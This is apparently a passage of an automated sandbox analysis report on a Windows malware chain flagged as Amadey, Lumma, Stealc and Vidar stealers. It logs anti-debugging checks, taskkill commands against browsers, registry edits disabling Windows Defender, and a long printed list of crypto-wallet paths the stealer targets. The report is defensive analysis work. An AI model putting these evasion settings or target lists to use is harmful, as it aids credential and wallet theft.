Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\JKECGDBFCB.exe

Code function: 14_2_04D90328 rdtsc

14_2_04D90328

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C535FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C535FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_0054652B mov eax, dword ptr fs:[00000030h]	14_2_0054652B
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_0054A302 mov eax, dword ptr fs:[00000030h]	14_2_0054A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D6A302 mov eax, dword ptr fs:[00000030h]	15_2_00D6A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D6652B mov eax, dword ptr fs:[00000030h]	15_2_00D6652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D6A302 mov eax, dword ptr fs:[00000030h]	16_2_00D6A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D6652B mov eax, dword ptr fs:[00000030h]	16_2_00D6652B

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C50B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C50B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 815f2a8fe8.exe PID: 7552, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JKECGDBFCB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\JKECGDBFCB.exe "C:\Users\user\Documents\JKECGDBFCB.exe"	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe "C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe "C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe "C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe "C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe "C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe"

Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: 0d957dbf73.exe, 00000015.00000002.3187753102.0000000001042000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: JKECGDBFCB.exe, 0000000E.00000002.2625650832.0000000000753000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000002.2650885855.0000000000F73000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2658172826.0000000000F73000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: nProgram Manager
Source: feb3d39b6a.exe, 00000013.00000002.3320178921.00000000005B8000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 4Program Manager
Source: 2533b4b8c7.exe, 00000012.00000002.3320129822.00000000009AE000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: vProgram Manager
Source: firefox.exe, 00000023.00000002.3232053032.0000000CD79FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: file.exe, file.exe, 00000000.00000002.2594058159.00000000005BD000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: tProgram Manager
Source: feb3d39b6a.exe, 00000013.00000002.3346402660.000000000617A000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: $WProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C50B341 cpuid

0_2_6C50B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4D35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C4D35A0

Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: feb3d39b6a.exe, 00000013.00000003.3078764009.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3078878997.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3310416758.0000000005674000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3286619408.0000000005672000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 14.2.JKECGDBFCB.exe.510000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.skotes.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.skotes.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.skotes.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2623989684.0000000000511000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2649996256.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2653499661.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3319241005.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 0d957dbf73.exe PID: 6256, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: feb3d39b6a.exe PID: 6568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: feb3d39b6a.exe PID: 5080, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000014.00000002.3062536575.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3252381859.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3244939214.0000000000BB1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3154801184.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2971078627.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2048185134.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2593553859.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3069078994.0000000000BB1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2604363979.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 815f2a8fe8.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7096, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2593553859.0000000000264000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2593553859.0000000000264000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2593553859.0000000000347000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2593553859.0000000000264000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2593553859.0000000000264000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 